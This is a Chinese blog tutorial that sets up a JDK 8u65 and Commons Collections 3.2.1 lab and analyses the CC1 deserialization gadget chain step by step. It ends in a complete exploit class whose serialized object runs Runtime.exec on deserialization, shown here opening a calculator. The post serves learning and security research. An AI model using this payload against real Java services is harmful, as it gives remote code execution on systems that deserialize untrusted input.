Java反序列化Commons-Collections-CC1链

于 2024-04-15 17:06:31 发布
阅读量1k 收藏 10
点赞数 13
分类专栏： Java安全 # Java反序列化-CC链 文章标签： java c语言 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_53912233/article/details/137786954
版权

环境搭建

JDK8u71以下，这个漏洞已经被修复了，这个JDK的以上版本都修复了漏洞

JDK8u65

下载地址

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

image.png
这个时候来到 pom.xml 配置Maven依赖下载CommonsCollections3.2.1版本
image.png
添加以下代码：

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image.png
这个时候点击这个，刷新代码
image.png

配置Maven仓库

官网地址：

https://maven.apache.org/

直接下载即可
image.png
image.png
解压压缩包之后来到这个文件下
image.png
然后随便在网上搜索 阿里云镜像源
image.png
image.png
然后复制这一段代码
image.png

<mirror>
    <id>aliyunmaven</id>
    <mirrorOf>*</mirrorOf>
    <name>阿里云公共仓库</name>
    <url>https://maven.aliyun.com/repository/public</url>
</mirror>

image.png
然后设置Maven仓库的位置路径
image.png
来到这里
image.png
然后设置settings.xml的文件位置
image.png
这个时候我们可以看见左边多出了Maven的依赖环境，我们可以开始学习CC1链了
image.png

openJDK 8u65

下载地址

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

下载好之后，来到这个目录下复制sun文件
image.png
然后来到JDK8u5的文件夹中解压src.zip压缩包，将sun复制到src文件夹里面
image.png
然后再IDEA Ctrl+Shift+Alt+S打开项目结构，添加刚刚的src文件路径
image.png
这样子做的好处就是可以编译部分的class文件为java文件，可以进行断点调试
image.png

基础知识

Common-Collections包的结构

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

来源：

https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/#toc-heading-6

Java反射命令执行

package org.example;


import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args) throws Exception{
        //Runtime.getRuntime().exec("calc"); 直接调用，不需要反射的方法
        Runtime r = Runtime.getRuntime();
        //获取Runtime的class
        Class<Runtime> c = Runtime.class;
        //获取它的exec方法
        Method execMethod = c.getMethod("exec", String.class);
        //反射调用这个方法
        execMethod.invoke(r,"calc");

    }
}

运行之后可以看见弹出 计算器
image.png
由于我们Runtime类没有调用序列化 Serializable类的接口，所以它是不可以进行序列化的。如果我们要进行序列化，可以利用Class类，因为Class是调用了Serializable的接口，可以进行反序列化。
image.png
我们来到Runtime类，可以发现它的一个方法，是可以直接获取
image.png
实现代码：

public class Main {
    public static void main(String[] args) throws Exception{

        //获取Runtime类的class
        Class<Runtime> RuntimeClass = Runtime.class;
        //然后获取
        Method getRuntimeMethod = RuntimeClass.getMethod("getRuntime");
        Object r = getRuntimeMethod.invoke(null, null);
        Method execMethod = RuntimeClass.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");
    }

}

最后可以看见，成功弹出计算器。
image.png

CC1链分析

入口点-执行任意命令

CC1链的作者发现了 org.apache.commons.collections 中有个 Transformer 接口类，然后它是一组自定义的功能类，我们可以直接找到，然后看一下。
作用：简单来说就是调用了这个 Transformer 接口会使用这个transform方法
image.png
按Ctrl + Alt +B查看这个接口的实现类，点开这个实现类
image.png
进到 InvokerTransformer 这个实现类，Alt + 7可以看见该类的方法拓扑图。
再下面的可以发现这个类的 transform方法中存在反射调用
image.png
我们来尝试利用这个InvokerTransformer类的transform方法来进行一次命令执行

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        }

可以看见计算器成功弹出，证明了这个类的方法是可以进行命令执行的

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

image.png

总结

通过调用这个类的方法，执行命令，我们知道了 InvokerTransformer.transform 是入口点。我们还需要向上其他类寻找可以调用 这个入口点的类的方法。

寻找调用入口点的类

我们需要不同的类名调用这个入口点类的方法，右键如图点击，寻找这个方法有哪些类调用
image.png
在这里找到了一个比较好调用 checkSetValue 方法，它来自于 TransformedMap类
image.png
因为这段代码，返回的是 valueTransformer 调用的transform方法

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

我们看一下valueTransformer，然后在这里找到了它的构造方法
image.png
由于这个方法是受保护成员，我们继续往上翻代码，可以发现 decorate 这里是静态方法，然后返回的是刚刚的受保护成员，我们可以在这里进行下手
image.png
exp代码编写1：
根据前面的分析，我们可以写出以下代码

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

public class CC1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        TransformedMap.decorate(map,null,invokerTransformer);
    }
}
  • 写 null是因为 我们没有需要的 keyTransformer要传参
  • 通过HashMap，放入一个map
  • invokerTransformer是相当于valueTransformer

命令执行 = valueTransformer.transform(value);
我们已经有了valueTransformer，现在需要去构造checkSetValue这个方法的参数
image.png
右键查找 调用checkSetValue的类的方法
image.png
然后我们在 AbstractInputCheckedMapDecorator 类中找到了调用了 checkSetValue 方法的方法 setValue
image.png
TransformedMap 类是 AbstractInputCheckedMapDecorator类的子类，所以子类可以调用父类的方法
image.png
然后在代码中的setValue，如果继续查找调用的函数会很麻烦，因为有很多方法要去看

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

}

实际上setValue在这个代码的意思相当于一个map的一个键值顿，for循环遍历
image.png
所以我们要控制 AbstractInputCheckedMapDecorator类的setValue的内容，也可以以此类推进行操作

public class CC1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
        
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue(r); //setValue -> checkSetValue(Object value) -> transform(Object input)
        }
    }
}

可以看见成功执行计算器弹窗命令
image.png

总结

证明了这个类是可以调用一开始的入口点的类，最后一样可以命令执行，链子已经拿到了一半了。Java反序列化必须还有有一个readObject的入口类才能利用这些链，所以还需要再往上找调用这个 setValue 的readObject类

寻找调用构造链的readObject方法的入口类

EXP构造

查找调用了setValue方法的类
image.png
最终在这里找到了调用了setValue方法的readObject类
image.png
进去之后发现是来源于 AnnotationInvocationHandler 类的
image.png
所以我们可以先构造一个EXP

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;



public class CC1Test {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    //序列化与反序列化
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
  • 其中 AnnotationInvocationHandler，我们这里构造了一个和它类型相同的类。
  • 至于 Override.class是怎么来的，是因为 AnnotationInvocationHandler继承 Annotation接口
  • 实际上 Annotation接口是注解的意思，所以我们可以用 Override.class (注解)放进 newInstance()实例化的第一个参数里面

image.png

完善EXP

实际上我们实现序列化和反序列化是需要继承 序列化的接口。但是 Runtime类并没有继承
image.png
所以我们的第一步就是能够让我们的exp，没有序列化的类通过反射然后就可以进行序序列化，前面有讲。

反射

通过前面的执行命令反射为例子，我们的这个 InvokerTransformer方法也同理

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] args) throws Exception {

//        Class<Runtime> r = Runtime.class;
//        Method getRuntimeMethod = r.getMethod("getRuntime", null);
//        Runtime getruntime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = r.getMethod("exec", String.class);
//        execMethod.invoke(getruntime,"calc");

        //通过反射能够进行序列化，也能执行命令
        Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);


    }
}
  • 其中new Class[]{}里面的属性，可以参考原生的getMethod的属性，照搬进去就好了。
  • 这个 Class<?>… 后面有三个点意思是Class的数组，也就是 -> Class[]

image.png
运行之后可以看见弹窗计算器成功，证明了这个我们调试的反射代码是成功的
image.png
实际上我们还可以进行利用一个叫 ChainedTransformer的方法，进行简写刚刚的反射代码
image.png

  • ChainedTransformer 遍历 transform[] 数组的内容，放入到 Transformers 变量
  • transform方法可以对每个 iTransformers变量进行一次调用transform它的参数

所以我们可以这些写

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) throws Exception {
        //通过反射能够进行序列化，也能执行命令
//        Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        
        //ChainedTransformer类中有ChainedTransformer方法可以进行便捷，不会和前面一样进行重复
        Transformer[]  transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        chainedTransformer.transform(Runtime.class);

    }
}
  • transform方法只需要调用一次，引入 Runtime.class的类

运行后可以看见，命令执行成功，证明了我们的代码没有错误
image.png

绕过if

这个时候我们把前面调试好的反射代码组合前面写好的放在一起

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;



public class CC1Test {
    public static void main(String[] args) throws Exception {

        Transformer[]  transformers = new Transformer[]{

                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    //序列化与反序列化
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

现在运行exp代码肯定是不能生效的，主要有两点：

  • 变量成员不能为空
  • 通过绕过两个if，才能来到 setValue方法

image.png
我们可以先断点调试一下代码进行理解，从反序列化的入口点开始下断点调试
image.png
按F8下一步调试，可以发现我们的成员变量是 Override注解，然后它的成员变量是 null的
image.png
进入 Override类一看，空空如也，它没有成员变量的方法
image.png
Ctrl + 鼠标键 点击 Target
来到了这里，Target也是注解的一个类，然后它的成员变量是value，所以我们可以用 Target.class 代替 Override.class
image.png
将exp代码 进行修改，然后重新断点调试一下
image.png
调试到这发现还是 null，这是因为 Target注解类它没有key这个键值，我们需要用value方法，才能让它识别
image.png
这个时候我们修改exp的代码 "key"为 “value”
image.png
然后继续重新断点调试，可以发现我们走到了 setValue的关键方法了，再也不是null了，成功的绕过了if的判断
image.png
这个时候点击F7跟进这一行，然后点击setValue方法
image.png
然后继续跟进F7，直到我们来到了这里，也就是我们之前执行命令的一个点，发现setValue我们无法控制
image.png
在ConstantTransformer类中发现了 ConstantTransformer方法可以返回常量值，这个类里面也有transform方法，配合使用的话，也就说传入什么值 都可以调用 transform(value)，从而调用 Runtime.class进行反射
image.png
添加这行代码，就可以相当于做到了 setValue的事情
image.png
其实也就相当于一开始的Java反射命令的结构体一样
这一行也就只是执行transformers数组内容罢了

  • ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

最终exp

CC1链的最终exp代码如下：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;



public class CC1Test {
    public static void main(String[] args) throws Exception {

        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    //序列化与反序列化
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

通过发序列化之后，可以看见命令执行成功
image.png

总结

这是一个国内版本的 TransformedMap 类的CC1链，国外没有用到这个TransformedMap类。
整个CC1链复现的流程：

复现路线：
任意类的readObject方法 <- 调用入口点类的方法 <-任意执行命令的入口点

攻击链：
readObject -->  setValue ---> checkSetValue --->  transform

一些辅助类:
HashMap --> ChainedTransformer.transform --->  Target -->ConstantTransformer.transform

image.png

cike_y
关注
  • 13
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
java反序列化之Commons-Collections2链分析
weixin_45682070的博客
01-12 662
环境 JDK 1.7 Commons Collections 4.0 javassit maven所需pom <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dep
JAVA反序列化之CommonCollections1利用链
lt_xiaodou的博客
08-30 338
看到这里，是否有一种豁然开朗的感觉？到这里相信大家对上面的Demo原理已经了解了，但是现在有一个问题，我们在本机执行是可以执行代码了，但是怎么反序列化漏洞中来利用这个利用链呢？通过上面的调用链总结可以看出，这一套调用链主要是围绕着Transformer接口的transform方法的，所以说要找到一个在readObject方法中能调用transform方法的地方。整篇文章总体思路是跟着P牛的文章思路来的，只不过因为基础薄弱很多地方都详细分析了一遍。...
commons-collections介绍
qq_38229263的博客
06-16 4358
Commons Collections增强了Java集合框架。 它提供了几个功能来简化收集处理。 它提供了许多新的接口，实现和实用程序。 <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.4</version> </depend
Common-Collections 1
Christ1na的博客
09-09 741
与TransformedMap相同，这条链同样在jdk8u71以后不能使用，原因也相同，变更后的AnnotationInvocationHandler#readObject不再直接使用反序列化得到的Map对象，所以不能够使用了
java--CommonsCollections3基础学习
zyer
05-20 1070
唉，做事不细心，浪费好光阴啊！由于对java的了解甚少，于是我还是像以前那样随便使用的ysoserial和下载的commonscollections4.4进行漏洞利用，发现在jdk1.7时会提示Templates有问题，在jdk1.8还没有任何反应，然后通过不断的寻找，最后发现了原因，原来测试环境是： JDK 1.7 Commons Collections 3.1 推荐使用maven搭建，引入依赖 <dependencies> <dependency>
commons-collections1(cc1)反序列化链分析
遇事不决冲冲冲
01-30 5153
commons-collections1也就是常说的cc1，网上一般有两条链子，一个就是ysoserial中的lazymap链，还有transformedmap链，刚开始碰到cc1链子感觉有点麻烦，但只要迈出第一步后面就会挺流畅的，首先在细跟之前一定要有一个大的框架，哪一步完了再跟进到哪一步，像cc1这里主要就是Transformer接口里三个主要的实现类来实现命令执行，然后通过两个不同方法调用执行，即可！
commons-collections4-4.1
11-01
Apache Commons Collections 3.2.0及更早版本中存在这样一个漏洞，因为该库包含了一些不安全的反序列化方法，使得攻击者可以通过精心构造的输入来触发代码执行。 在Apache Commons Collections 4.1中，这个问题得到...
commons-collections-3.2.jar
09-29
10. **工具类**：包含一些通用的实用工具，如集合的深度拷贝、序列化和反序列化、对象的克隆等。 在实际开发中，"commons-collections-3.2.jar"可以被广泛应用于数据处理、数据结构优化和算法实现等领域。只需将此...
commons-collections-3.2.2-
11-01
反序列化是将已序列化的对象状态还原为可执行对象的过程，如果这个过程没有得到适当的验证，攻击者可以构造恶意的序列化数据，导致安全问题。 为了修补这个漏洞，我们需要将WebLogic服务器中旧版本的Apache Commons...
commons-collections4-4.4-bin.zip
06-07
支持集合的序列化和反序列化，这在数据持久化和网络传输中非常有用。 9. **算法**： 包含一些通用的算法，如`Frequencies`统计集合中元素出现的频率，`ForEach`遍历并执行操作，`Partition`将集合分割成满足特定...
commons-collections-3.2.2.jar
05-30
apache-common系列中的重要的成员：apache-common-collections。包中对Java中的集合类进行了一定的补充，定义了一些全新的集合，当然也是实现了Collection接口的，比如Bag，BidiMap。同时拥有新版本的原有集合，比如FastArrayList。最后，更为重要的是一系列utils类，提供了我们常用的集合操作，可以大大方便我们的日常编程。是java对json数据进行操作的非常重要的包。这里提供了该jar包的下载
commons-collections-3.2.2、4-4.1
11-07
修复weblogic反序列化漏洞，修复方法为：替换原来的common-collections组件，建议：原来是3.2.d就替换为3.2.2，原来是4.x,就替换为4.4.1，如果出现不兼容，则替换一个版本试试。 1.先停止weblogic 2.替换oracle\modules目录里的com.bean.core.apache.commons.collections_x.x.x.jar 3.启动weblogic
commons-collections
04-23
collections jar 包集合，使用Maven的可以直接使用！collections
commons-collections-3.2.2-bin.zip
02-03
7. **集合的序列化与反序列化**：提供了一种方便的方式来序列化和反序列化集合，这对于数据存储和网络传输非常有用。 8. **泛型支持**：Collections库在3.2.2版本中已经支持Java泛型，这使得代码更具类型安全性和...
CommonsCollections1
最新发布
qq_63928796的博客
03-16 1274
是Apache软件基金会的项目，曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Proper（是一些已发布的项目）、Sandbox（是一些正在开发的项目）和Dormant（是一些刚启动或者已经停止维护的项目）。包为Java标准的提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中，既保证了性能，同时也能大大简化代码。
MAVEN 加载公共包 commons
热门推荐
口袋里的小龙的专栏
08-18 2万+
commons-fileupload commons-fileupload 1.3.1 commons-beanutils commons-beanutils 1.7.0 commons-codec commons-codec 1.7 org.apache.commons commons-io 1.3.2 common
Commons-collection
daocrens的专栏
04-05 1390
Commons项目理解        在java项目中有很多公用的算法实现和工具类        jarkata项目组把这些公用的东西作为开源项目加以实现        以后在项目使用中就可以统一算法，不必写象StringUtil或者DateHelper之类的工具类了        很多算法也不必再查文档，熬夜写个通宵了，:)        最近需要针对collection作一些扩展，自己写了半天
Apache Commons Collections反序列化漏洞分析与复现
smellycat000的专栏
11-30 3680
聚焦源代码安全，网罗国内外最新资讯！1.1 状态完成漏洞挖掘条件分析、漏洞复现。1.2 漏洞分析存在安全缺陷的版本：Apache Commons Collections3.2.1以下，...
java反序列化Common Collections学习
whojoe的博客
07-08 373
java反序列化Common Collections学习环境搭建TransformerConstantTransformerInvokerTransformerChainedTransformer分析InvokerTransformer寻找内鬼ChainedTransformer在服务端构造RuntimeTransformedMapAnnotationInvocationHandler注解1.8中不同参考文章 环境搭建 新建maven项目 在pom.xml中添加 <dependencies&
Java反序列化入门：URLDNS链与ysoserial利用
Java反序列化入门之URLDNS链1讲解了Java序列化与反序列化的基本概念及其潜在的安全风险。在Java中，序列化是一种将对象转换为字节流的过程，以便在网络或存储中持久化数据。当对象被反序列化时，这些字节流被恢复为...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值